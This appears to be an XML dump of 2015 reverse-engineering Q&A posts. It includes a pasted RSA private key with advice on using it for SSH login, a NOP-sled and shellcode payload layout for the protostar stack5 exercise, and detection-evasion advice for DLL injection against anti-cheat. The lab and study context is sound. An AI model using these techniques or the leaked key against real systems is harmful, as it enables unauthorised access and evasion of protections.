  <row Id="8497" PostTypeId="1" CreationDate="2015-03-17T21:54:06.517" Score="5" ViewCount="232" Body="&lt;p&gt;Doing an information security project at the moment. After gaining access to ftp drive, there was a file simply called 'hackme' inside. It contains what looks like to me a SSH certificate, but not sure what I can do with it or how to reverse/break it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MIIEowIBAAKCAQEAop+enpIZtPJpZfz5Op7O1EswtZX+OvNDYKYzO/qdi0EhnJKU&#xA;Os3ltr2utFZsEuVKCeXMkcFbJTQu/DuUD8sKPXYC4d7JR9j5Xaz2s9NAVcUtezZ2&#xA;cE2vLPAt9AhT2gSknuemYM8nSuYE2IGGaYOztTtjkSDXNrm6M3MTMdLPziGGp8lg&#xA;1/7mTnQQ6HHn4fLqSKJLRH8dMZ3MfgMaPtbdvaw+GjZsm8pL8o5OzVrBKZqbOS2/&#xA;IOP7vrL43MmgPCpWsJIZMKeFHYCAzB3sTK++O2f6uag3U7tDun/P7Ztkhhbtxx1e&#xA;K4NXawjTT4AzZu2jo8LGGD+t7DdiPdIMNSIFbwIDAQABAoIBAHwsmbfHI23xc912&#xA;bu/99zxPNaBSKc/llFsmTRTNZqLAVuPxYNIOCguhhtcY7mj3P7OTDsN0+x3LXN0o&#xA;uQPeK7GGfOjvbo439SE8QxxIgGV9rB7bFVDnYI1V0CD4gt6EkRbtFzPwubYNMUII&#xA;lRPYhs4pzPsyMmMNKkrC4bM3n4lrBDBEjcRgITho54xDBY7frcEamm5DllUcKYuZ&#xA;sNLqwZ1LSuVFBRNRKp/U5X8tDYud+QduNfCdtho5eDrHkUOvh/6tJ0RrMk2M4bQU&#xA;rUNJSl/6qh1nga5gaTSitBerwkcgC0hnA55EsLKuf7sGNLSF0IEzRawOvWvGkgTG&#xA;X9WkJQECgYEA1c89buUyW6dsx5B5+C3sTHTVNlCumZVj+ectzQTe42XzKTS4kwDb&#xA;h9JZhGtAl3MiuRjA6vOvGPPagFmcFDfoDpiK47ATfia8ruxRK/51XqaMnaQb+Un0&#xA;gZdkhOflcWiG0QzSXRpjfxAQyunKMcJQEuu6WjnxTmCTA6Zjs3FfN8ECgYEAwrat&#xA;SgFhF+zJGajIkNvPOHC6g6Q8Cwoww7QmbJ+erOvefJbASn8vEh/7y3pEFmm0W5tw&#xA;8e9+FoMv4BVqm5UZ0WsxgYN4qivmmaXRBWNiPJVk0nLCA1dZttN53lJqldynO6zo&#xA;pkmMjINd1+nB/78aGMK8cEA39XlOs/c5xk/xCS8CgYAXssC8aesK/aOw+vKJ740h&#xA;bFG1k3vGyigqqtUIxGFwEvzAtHdA0/eBNm91ne2q27gdjADWCex+d4jgcQ47r3ap&#xA;J389fWartN91A/x7Q9j+hLdRQb9YAjp3orAhixKDX3KR+TnX1/TvQHicBQ3ENiVp&#xA;83bUSVfVuB6TaP3kBczoAQKBgBRnuHlM87PiKKD7wykLIAg2KBWrnG87viiENJKl&#xA;l6dfgI1l7vjfozsvBuAoDAKdST1gaNGx23DYhqfhFq7/TRlZNnLwKDENMLlhWypJ&#xA;Y/4dWdeEFzjqaohyWQ8na+wQl6X1VNw4UPZYvfjmkmIO0NlPbxgEYtjiwZCyk+do&#xA;cUYZAoGBAJ+SpmK1lL0tvuy+bwEe3H4IwCfRBZ+lKUhCeJ4+3S4WF4W23T8urmd1&#xA;zVo81WxHReJAWQIT1QxjwqWkcQmMSzgpsy2JSOzjvps2NHkt+XUozmv43wRlPLon&#xA;y407ZNPOrzD+82cKCrX6BpPy5EagwP+v1HFb5QiJsoEnZt7VRJPC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tried using it to login via SSH but still asked for a password. Any suggestions on the route I could take to exploit this? It's a first project so I feel a little silly being stumped so early on.&lt;/p&gt;&#xA;" OwnerDisplayName="tert" LastActivityDate="2015-03-19T07:41:26.083" Title="What can I do with a SSH certificate?" Tags="|encryption|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8498" PostTypeId="2" ParentId="8497" CreationDate="2015-03-18T00:47:06.280" Score="11" Body="&lt;p&gt;I hope you recognized &lt;a href=&quot;http://en.wikipedia.org/wiki/Base64&quot;&gt;base64&lt;/a&gt;. The first few bytes in a hexadecimal dump are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;30 82 04 a3 02 01 00 02  82 01 01 00 a2 9f 9e 9e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;30 82 screams “&lt;a href=&quot;http://en.wikipedia.org/wiki/Abstract_Syntax_Notation_One&quot;&gt;ASN.1&lt;/a&gt; &lt;a href=&quot;http://en.wikipedia.org/wiki/Abstract_Syntax_Notation_One#Example_encoded_in_DER&quot;&gt;DER&lt;/a&gt;” — 30 means “sequence”, 82 means “followed by a 2-byte length” and the next two bytes are the length. The first element in the sequence has the type integer, with a 2-byte length 01 01 (257), and the next 257 bytes are that integer value (starting with a 00 byte, so it's a 2048-bit integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not going to continue the manual analysis. Here's the output of &lt;code&gt;base64 -d | dumpasn1&lt;/code&gt; with the integer values elided, giving the structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0 1187: SEQUENCE {&#xA;   4    1:   INTEGER 0&#xA;   7  257:   INTEGER&#xA; 268    3:   INTEGER 65537&#xA; 273  256:   INTEGER&#xA; 533  129:   INTEGER&#xA; 665  129:   INTEGER&#xA; 797  128:   INTEGER&#xA; 928  128:   INTEGER&#xA;1059  129:   INTEGER&#xA;         :   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we have a 2048-bit integer, the integer 65537, another 2048-bit integer, and five 1024-bit integers. That's strongly reminiscent of an RSA private key: modulus, public exponent, private exponent, and the CRT parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This matches the format of an OpenSSH private key file with no passphrase, except that you need to add two lines &lt;code&gt;-----BEGIN RSA PRIVATE KEY-----&lt;/code&gt; at the beginning and &lt;code&gt;-----END RSA PRIVATE KEY-----&lt;/code&gt; at the end. So add those two lines and try using the file as an SSH private key file (&lt;code&gt;ssh -i /path/to/file username@thehost.example.com&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="107" OwnerDisplayName="Gilles" LastActivityDate="2015-03-18T00:47:06.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8499" PostTypeId="2" ParentId="8495" CreationDate="2015-03-19T09:33:36.020" Score="7" Body="&lt;p&gt;You can try the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;convert binary file to IDB:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$IDA_PATH\\idaq.exe -B -p+ $FILE_TO_CONVERT&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;create &lt;code&gt;BinExport&lt;/code&gt; from idb&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$IDA_PATH\\idaq.exe -A -SC:\\bindiff_export.idc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;bindiff_export.idc&lt;/code&gt; looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;idc.idc&amp;gt;&#xA;static main()&#xA;{&#xA;    Batch(0);&#xA;    Wait();&#xA;    Exit( 1 - RunPlugin(&quot;zynamics_binexport_5&quot;, 2 ));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Should you also want to diff files, you can use BinDiff directly on &lt;code&gt;BinExports&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$PATH_TO_BINDIFF\\bin\\BinDiff_Deluxe.exe -i $BIN_EXPORT_A -j $BIN_EXPORT_B -o $OUTPUT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1403" LastEditorUserId="53" LastEditDate="2015-03-20T19:28:02.017" LastActivityDate="2015-03-20T19:28:02.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8500" PostTypeId="1" CreationDate="2015-03-19T17:37:29.353" Score="1" ViewCount="591" Body="&lt;p&gt;An application on my system downloads a .sys file (driver) via base64. What I mean is; the application requests a site, the site returns a huge base64-encoded string and then the .sys file is built via this string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm intrigued and interested (for educational purposes) as to how I could go about building the .sys file via the string I have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance is appreciated,&#xA;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="12028" LastActivityDate="2015-03-19T17:49:10.807" Title="Reverse-Engineer an application download in base64" Tags="|disassembly|windows|dll|" AnswerCount="1" CommentCount="2" ClosedDate="2015-03-20T18:12:53.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="8501" PostTypeId="2" ParentId="8500" CreationDate="2015-03-19T17:49:10.807" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.motobit.com/util/base64-decoder-encoder.asp&quot; rel=&quot;nofollow&quot;&gt;http://www.motobit.com/util/base64-decoder-encoder.asp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose &lt;strong&gt;&lt;em&gt;decode&lt;/strong&gt; the data from a Base64 string&lt;/em&gt; and &lt;strong&gt;&lt;em&gt;export&lt;/strong&gt; to a binary file&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-19T17:49:10.807" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8504" PostTypeId="1" CreationDate="2015-03-19T23:35:56.327" Score="2" ViewCount="14758" Body="&lt;p&gt;Howdy guys and ghouls,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a classic b0f, in fact it's the protostar stack5 exercise&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exploit-exercises.com/protostar/stack5/&quot; rel=&quot;nofollow&quot; title=&quot;link to stack 5&quot;&gt;link to stack5 code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have the buffer + shellcode running up to overwriting EIP and I need to provide the address to overflow EIP. What's the right way of deducing the return address? I've tried ESP - len(shellcode) but this doesn't seem to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you go about calculating the right return address (the more precise the better)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GDB related examples appreciated.&lt;/p&gt;&#xA;" OwnerUserId="12032" LastActivityDate="2015-03-20T18:44:16.540" Title="Problem finding return address for shellcode" Tags="|gdb|buffer-overflow|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8505" PostTypeId="2" ParentId="8029" CreationDate="2015-03-20T05:22:43.783" Score="1" Body="&lt;p&gt;It looks like someone has written code to decrypt these files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the details of the implementation here: &lt;a href=&quot;https://github.com/magcius/bbtucrypt/&quot; rel=&quot;nofollow&quot;&gt;bbtucrypt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2015-03-20T05:22:43.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8507" PostTypeId="2" ParentId="8504" CreationDate="2015-03-20T18:44:16.540" Score="6" Body="&lt;p&gt;Nothing easier than that. &lt;code&gt;gdb&lt;/code&gt; the executable, set a breakpoint at &lt;code&gt;main&lt;/code&gt;, have gdb print your buffer.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb /opt/protostar/bin/stack5&#xA;(gdb) break main&#xA;Breakpoint 1 at 0x80483cd: file stack5/stack5.c, line 10.&#xA;(gdb) run&#xA;Starting program: /tmp/stack5 &#xA;&#xA;Breakpoint 1, main (argc=1, argv=0xffffd674) at stack5/stack5.c:10&#xA;10  stack5/stack5.c: No such file or directory.&#xA;(gdb) print &amp;amp;buffer&#xA;$1 = (char (*)[64]) 0xbffff838&#xA;(gdb) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if your shellcode starts at byte 0 of the buffer, you want to overwrite the saved EIP on the stack with &lt;code&gt;0xbffff838&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, to make your exploit independent from small changes in the program (one more local variable, or one less ...) i'd fill the buffer with 32 &lt;code&gt;nop&lt;/code&gt;s (&lt;code&gt;0x90&lt;/code&gt;) and put my shellcode behind those &lt;code&gt;nop&lt;/code&gt;s. This still leaves you with 32 bytes for the shellcode, which should be plenty. Then, jump to &lt;code&gt;0xbffff848&lt;/code&gt; which is 16 bytes into the nops, and shifting them around by a few bytes won't hurt you anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the end, instead of calculating how many bytes between the end of the buffer and the saved &lt;code&gt;EIP&lt;/code&gt;, i'd just repeat the buffer address a few times, so you can be sure EIP gets overwritten; you don't really care about whatever else is there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to sum it up, your input should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x90 (32 times)&#xA;your shellcode&#xA;as many 0x90's as you need to fill the buffer to 64 bytes&#xA;0x48 0xf8 0xff 0xbf  repeated about 10 times.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember to swap the &lt;code&gt;EIP&lt;/code&gt; bytes because we're on a little endian machine.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-20T18:44:16.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8508" PostTypeId="1" CreationDate="2015-03-21T00:25:18.960" Score="2" ViewCount="3318" Body="&lt;p&gt;I understand that DLL injection can be used to modify games, perhaps for the purposes of writing a bot. Last time i injected a DLL, it was detected.&#xA;My injection method must have been detectable then, the question comes down to&#xA;how do i avoid getting detected? Please help me out, multiple ways to do this would be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="12042" LastEditorUserId="1413" LastEditDate="2015-03-21T04:19:53.413" LastActivityDate="2015-03-21T16:19:41.610" Title="How to inject a DLL without being detected?" Tags="|dll-injection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8509" PostTypeId="2" ParentId="8508" CreationDate="2015-03-21T03:58:08.643" Score="1" Body="&lt;p&gt;There are many forms of dll injection, the most common being to load code into the remote process that calls LoadLibrary in order to load the payload dll.  Some anticheats hook LoadLibrary in order to catch or prevent such methods.  To prevent this, you'd need to eliminate the call to LoadLibrary.  This means you'd need to imitate the windows PE loader and prepare the dll yourself to be executed.  This method is called &quot;manual mapping&quot;, and you can find an example of code that achieves it &lt;a href=&quot;http://pastebin.ca/raw/148103&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  The bare minimum of steps you need to perform is mapping base relocations and fixing imports, and my brief scanning of this code shows that it should achieve this.  &lt;/p&gt;&#xA;" OwnerUserId="12039" LastActivityDate="2015-03-21T03:58:08.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8510" PostTypeId="2" ParentId="8508" CreationDate="2015-03-21T16:19:41.610" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;how do i avoid getting detected&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can't know how to avoid getting detected if you don't know how the detection works. I'd recommend finding and reverse engineering the detection logic so that you can either disable it (patch it out) or better understand how to avoid detection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you're looking for a generic alternative to &quot;standard&quot; DLL injection approaches, you may want to consider &lt;em&gt;reflective DLL injection&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf&quot; rel=&quot;nofollow&quot;&gt;Description&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/stephenfewer/ReflectiveDLLInjection&quot; rel=&quot;nofollow&quot;&gt;Implementation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;a href=&quot;https://www.defcon.org/images/defcon-20/dc-20-presentations/King/DEFCON-20-King-Reflective-Injection-Detection.pdf&quot; rel=&quot;nofollow&quot;&gt;reflective DLL injection is detectable as well&lt;/a&gt;, which again highlights the importance of knowing how the detection logic works for your scenario.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-03-21T16:19:41.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8512" PostTypeId="1" AcceptedAnswerId="8514" CreationDate="2015-03-22T02:13:16.133" Score="1" ViewCount="1058" Body="&lt;p&gt;I'm trying understand how some parts of a closed source program distributed as a stripped binary implemented. When I run &lt;code&gt;ldd&lt;/code&gt; on the program, it prints only 4-5 most basic C libraries as dynamic dependencies. (e.g. &lt;code&gt;libc&lt;/code&gt;, &lt;code&gt;glib&lt;/code&gt;, &lt;code&gt;gobject&lt;/code&gt; etc.) However, when I run it in gdb or attach gdb to it and run &lt;code&gt;info sharedlibrary&lt;/code&gt;, it prints a huge list of libraries. Indeed, that program clearly uses GTK for GUI, for example, but gtk libraries are missing in &lt;code&gt;ldd&lt;/code&gt; output and shown in &lt;code&gt;info sharedlibrary&lt;/code&gt; output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering does it work and how did they achieve this. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9767" LastActivityDate="2015-03-22T07:33:52.930" Title="ldd doesn't show dynamic libraries" Tags="|gdb|libraries|dynamic-linking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8513" PostTypeId="1" CreationDate="2015-03-22T04:52:59.607" Score="3" ViewCount="1608" Body="&lt;p&gt;I used to have a Logitech G700 mouse that used a wireless proprietary usb receiver. I was using the Logitech setpoint software to customize the mouse's acceleration, macros, and other things. The mouse started double clicking and I had to get a replacement from Logitech but they only the G700s (the G700 was discontinued) so they sent me that mouse. The problem is that the G700s does not work with the setpoint software despite being almost the same as the G700.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead, it uses the Logitech Gaming Software which is terrible and lacks many options that are found in the setpoint software. So I want to be able to use my G700s with the setpoint software. I've tried changing the vendor id and product id in regedit but it has no effect and it resets every time the mouse is restarted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no file that contains a list of compatible devices that can be edited. I think the list of compatible devices is written directly into the software. I opened the setpoint.exe file in IDA Pro and searched for the string G700 and found a line that had it. It was in unicode. How can I edit this line or block of lines to work with the G700s?&lt;/p&gt;&#xA;" OwnerUserId="12045" LastEditorUserId="4154" LastEditDate="2015-03-22T07:50:43.243" LastActivityDate="2017-11-11T10:36:46.307" Title="How can i reverse engineer and patch a USB driver to recognize similar hardware?" Tags="|ida|assembly|ollydbg|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8514" PostTypeId="2" ParentId="8512" CreationDate="2015-03-22T07:33:52.930" Score="1" Body="&lt;p&gt;They can load their dynamic libraries dynamically by using &lt;code&gt;dlopen&lt;/code&gt; and &lt;code&gt;dlsym&lt;/code&gt; functions.&#xA;Here is the &lt;a href=&quot;http://linux.die.net/man/3/dlsym&quot; rel=&quot;nofollow&quot;&gt;man page of dlsym&lt;/a&gt; and &lt;a href=&quot;http://christopherpoole.github.io/dynamically-linking-shared-objects-in-c++/&quot; rel=&quot;nofollow&quot;&gt;usage example&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-03-22T07:33:52.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8515" PostTypeId="2" ParentId="8513" CreationDate="2015-03-22T07:49:29.580" Score="2" Body="&lt;p&gt;Use a hex editor. There are many of them, my favourite is &lt;a href=&quot;http://www.wxhexeditor.org/&quot; rel=&quot;nofollow&quot;&gt;wxHexEditor&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there's at least 3 reasons why this may not work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The string &lt;code&gt;G700s&lt;/code&gt; is one byte longer than &lt;code&gt;G700&lt;/code&gt;, so you might not have enough space. If there is a list of more than one mouse model, you might be able to rename one of them to &lt;code&gt;G700s&lt;/code&gt;, and the following one to a one-letter name.&lt;/li&gt;&#xA;&lt;li&gt;The software will probably get the device id over the USB bus, check it against a list of IDs, and use the string for user output only. You'll have to find and change this list, not the output string. Search for repeated occurances of &lt;code&gt;6d&lt;/code&gt; &lt;code&gt;04&lt;/code&gt; (Logitech's USB id, byte reversed since the processor is little endian) in your software.&lt;/li&gt;&#xA;&lt;li&gt;The G700s might use a different protocol on the USB bus (probably not for normal mouse interaction, but for macros and similar things), so the setpoint software just won't be able to use any of the advanced features of the mouse.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-22T07:49:29.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8517" PostTypeId="1" AcceptedAnswerId="8518" CreationDate="2015-03-22T10:26:16.650" Score="3" ViewCount="774" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dtwx4.png&quot; alt=&quot;IDA Pro function with no ret as last instruction but a jump to a label&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Analyzing the ELF file /usr/bin/curl (Ubuntu 14.04, 64bit), I stumbled upon a strange function (see image). It is called regularly via &lt;code&gt;call sub_403D90&lt;/code&gt; but does not end with a ret. Instead, it jumps to a label / another function (&lt;code&gt;sub_403C90&lt;/code&gt;).&#xA;This is strange because there seems to be no return to &lt;code&gt;sub_403D90&lt;/code&gt;, as from &lt;code&gt;sub_403C90&lt;/code&gt; onwards in the control flow, there are no jumps but only rets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone explain to me why this is? Does it makes sense?&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="11830" LastEditDate="2015-03-23T09:13:08.517" LastActivityDate="2015-03-23T09:13:08.517" Title="Strange function in IDA Pro: Only one basic block ending with a jmp sub_xxxxxx (instead of a ret)" Tags="|ida|disassembly|idapython|compilers|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8518" PostTypeId="2" ParentId="8517" CreationDate="2015-03-22T12:22:31.993" Score="4" Body="&lt;p&gt;This is just a bit of optimization. A &lt;code&gt;call xxxx&lt;/code&gt; followed by a &lt;code&gt;ret&lt;/code&gt; can be optimized to a &lt;code&gt;jmp xxxx&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-03-22T12:22:31.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8520" PostTypeId="1" AcceptedAnswerId="8546" CreationDate="2015-03-22T15:26:35.430" Score="3" ViewCount="874" Body="&lt;p&gt;I was reading &lt;a href=&quot;http://blog.frizn.fr/hacklu-2013/reverse-400-elf&quot; rel=&quot;nofollow&quot;&gt;this CTF&lt;/a&gt; write up and wanted to know more than the author cared to explain. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I actually just patched the PLT entries of getenv(), ptrace() and sleep(), as sleeps get pretty annoying during debug&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What I wanted to know is what's the best way of going about patching PLT or GOT entries directly into the binary? &lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2020-09-29T05:50:25.643" Title="Patching PLT entries" Tags="|elf|got|plt|" AnswerCount="3" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8521" PostTypeId="1" AcceptedAnswerId="8534" CreationDate="2015-03-22T19:06:20.433" Score="7" ViewCount="2461" Body="&lt;p&gt;I am trying to do some reverse engineering to a Devolo dlan wifi 500 device (MIPS architecture). My objective is to put there some firmware modified by me.&lt;/p&gt;&#xA;&lt;p&gt;This is where I got so far:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloaded a firmware update from &lt;a href=&quot;http://update.devolo.com/linux2/apt/pool/main/d/devolo-firmware-dlan500-wifi/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://update.devolo.com/linux2/apt/pool/main/d/devolo-firmware-dlan500-wifi/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Extracted firmware image from debian package&lt;/li&gt;&#xA;&lt;li&gt;Analyzed image with binwalk&lt;/li&gt;&#xA;&lt;li&gt;Extracted contents with firmware mod kit (present on google code).&lt;/li&gt;&#xA;&lt;li&gt;Modded image&lt;/li&gt;&#xA;&lt;li&gt;Rebuilded with fmk&lt;/li&gt;&#xA;&lt;li&gt;Used web interface of device to upload new firmware&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;It failed on step 7. I get a message saying something like &amp;quot;this file does not contain valid data&amp;quot;. So, some sort of verification is performed by the device before installing updates.&lt;/p&gt;&#xA;&lt;p&gt;So I kept investigating. The devolo image contains a devolo header/footer, a uboot and a uimage. The header/footer must contain some sort of checksum. I tried picking the valid (unmodified) update and changed one bit on the padding, uploaded it to the device and got the same error message.&lt;/p&gt;&#xA;&lt;p&gt;If I knew where the checksum is or how is obtained, I could change it after rebuilding the image. However I found no documentation about the devolo formats. To try to find the sum I compared the hexadecimal of two devolo images: wifi and wireless(the wireless image is on the same site from where I downloaded the wifi image; could not post this link and the fmk link because I have less than 10 reputation :( ). The headers/footers are very similar in most fields, though I found no 32byte field to be a sum. Perhaps someone more experienced on reverse engineering could help me.&lt;/p&gt;&#xA;&lt;p&gt;I could try to brute force the sum. Since it is a sum, I could create a collision by adding bits to the padding areas. For this I have two ideas:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Send through the network every combination possible;&lt;/li&gt;&#xA;&lt;li&gt;Use the downloaded image's libraries to test the sum locally;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Option 1 would probably take a few years...&lt;/p&gt;&#xA;&lt;p&gt;For option 2, I tried using a qemu virtual machine and compile there, and cross compiling, with no results, due to the devolo libs using an old libc version (&lt;a href=&quot;https://stackoverflow.com/questions/29153924/how-to-solve-c-conflicts-between-system-and-library-dependencies&quot;&gt;https://stackoverflow.com/questions/29153924/how-to-solve-c-conflicts-between-system-and-library-dependencies&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;My last idea is to somehow emulate the downloaded firmware in my amd64 machine, to compile some code there that would use the devolo libs, thus circumventing the dependency problems.&lt;/p&gt;&#xA;&lt;p&gt;So, I would thank any tips/mistakes on my previous steps, and any pointers on how to run the downloaded image on my pc.&lt;/p&gt;&#xA;" OwnerUserId="12052" LastEditorUserId="245" LastEditDate="2020-12-25T22:29:18.187" LastActivityDate="2020-12-27T21:54:39.620" Title="Reverse engineering Devolo firmware" Tags="|firmware|mips|" AnswerCount="1" CommentCount="7" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8522" PostTypeId="1" CreationDate="2015-03-22T21:57:29.977" Score="2" ViewCount="781" Body="&lt;p&gt;I'm in the process of &quot;enhancing&quot; an Android application that comes with a huge compiled .so file. After patching about 200 bytes in the database, i'd like to attach to the running app, apply all these patches to the loaded shared library, continue the app, and debug my changes; then detach from the app and undo the changes again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can IDA do this, or is there a plugin to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know i can write back all my changes to the .so file and restart the app, but i don't want to do this at the moment (for various reasons, one being i suspect the app does a checksum on the library when it's first loaded in memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know i can patch single bytes interactively in memory while the debugger is attached, but my changes are a bit too extensive to want me enter them over and over again with each debug session.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2020-07-01T06:48:13.833" Title="Is there a way to tell the IDA debugger to apply all patches from the database?" Tags="|ida|debuggers|patching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8523" PostTypeId="2" ParentId="77" CreationDate="2015-03-22T22:27:01.077" Score="1" Body="&lt;p&gt;I would second the answer about ILSPY as being a really great.net decompiler.  Also, checkout de4dot for deobfuscation.  This is a cool writeup of it in action. &#xA;&lt;a href=&quot;http://blogs.cisco.com/security/talos/reversing-multilayer-net-malware&quot; rel=&quot;nofollow&quot;&gt;http://blogs.cisco.com/security/talos/reversing-multilayer-net-malware&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compiled visual basic can be a different and painful animal. &#xA;&lt;a href=&quot;http://vrt-blog.snort.org/2014/08/discovering-dynamically-loaded-api-in.html?m=1&quot; rel=&quot;nofollow&quot;&gt;http://vrt-blog.snort.org/2014/08/discovering-dynamically-loaded-api-in.html?m=1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10038" LastActivityDate="2015-03-22T22:27:01.077" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
